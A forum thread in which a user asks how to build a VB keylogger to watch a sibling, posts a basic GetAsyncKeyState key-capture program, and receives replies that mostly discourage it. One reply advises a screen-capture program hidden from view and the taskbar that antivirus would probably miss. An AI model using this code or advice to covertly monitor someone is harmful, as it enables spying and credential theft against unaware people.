Does anyone have a VB Keylogger Tutorial?

[Apolakkiatis]

Does anyone have a tutorial they could give me or post on how to make a keylogger to monitor my computer because my brother also uses it.... i dont want just the code for one, i want to understand how the VB code for it works also so i can get a feel for it... Thanx

[YarrOfDoom]

I don't think keylogging is the best way to find out such things. See if you can find something in your logbooks, or if you have Vista, use parental control.

[Apolakkiatis]

I don't think keylogging is the best way to find out such things. See if you can find something in your logbooks, or if you have Vista, use parental control.

Ya but i also wanna understand how one is made too... and with parental controls it blocks most of the normal sites that are approved for him so im really looking into a keylogger tutorial for vb

[jamesd0142]

Your intentions may be innocent but it's unlikely anyone here will help or supply code for you to create a keylogger...

They're kind of frowned upon in the programming world.

[Killer42]

...They're kind of frowned upon in the programming world.

That's right. And any decent anti-malware software should detect and disable the keylogger if you do get it working.

Keyloggers are unpopular because they are a favourite way for hackers to gather critical information such as passwords, credit card details, and so on. So don't be surprised if you encounter some pretty hostile reactions in this particular quest for knowledge.

[Apolakkiatis]

OHHH, no way! I just want to montior what goes on on my computer, I hope people will understand that... Thanx for the clarification

[Apolakkiatis]

Well I went looking and I found a semi-keylogger, it's not for destructive use, but rather for experimenting.... here is the code.....

Public Class Form1
    Dim result As Integer
    Dim i As Double
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
 
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 10
        Timer1.Enabled = True
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 32 To 128
            result = 0
            result = GetAsyncKeyState(i)
 
 
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
 
    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        TextBox1.Text = ""
    End Sub
End Class

Can someone please break it down for me, because it's not malicious or hidden, it's for everyone to see on the screen. I want to understand the script better.

But if anyone does have a tutorial can they please send it to me, because it's important to me that I don't have my brother doing inappropriate things on the computer, he's a wild kid and hard to handle at times... ANY HELP would be greatly appreciated! Thanks guys!

[daniel aristidou]

Hey...instead of making .....a keylogger...why not make a program that captures the screen...every so often and stores it.....that way...you don't have to rely on what he types ...and an antivirus (etc) will probably not disable it........
It also gives you a beeter idea as to what is actually going on...also if your using vb08...i would make the form opacity =0% make it not appear in the taskbar add a icon in the tool tray that has a context menu that enables you to restore the opacity to 100% if you enter the correct password...
To capture the screan...there are already some post on this....use the seach at the top of the screen....

[Apolakkiatis]

Hey...instead of making .....a keylogger...why not make a program that captures the screen...every so often and stores it.....that way...you don't have to rely on what he types ...and an antivirus (etc) will probably not disable it........
It also gives you a beeter idea as to what is actually going on...also if your using vb08...i would make the form opacity =0% make it not appear in the taskbar add a icon in the tool tray that has a context menu that enables you to restore the opacity to 100% if you enter the correct password...
To capture the screan...there are already some post on this....use the seach at the top of the screen....

Yea, i think thats a good idea man, but itll probably take up a lot of space if it captures the sceen often... :-(

[daniel aristidou]

Yea, i think thats a good idea man, but itll probably take up a lot of space if it captures the sceen often... :-(

Well you can all ways delete the pictures after you view them.....any way i should think 5min intervals is good enough

[Apolakkiatis]

Well you can all ways delete the pictures after you view them.....any way i should think 5min intervals is good enough

OK well thanx alot man!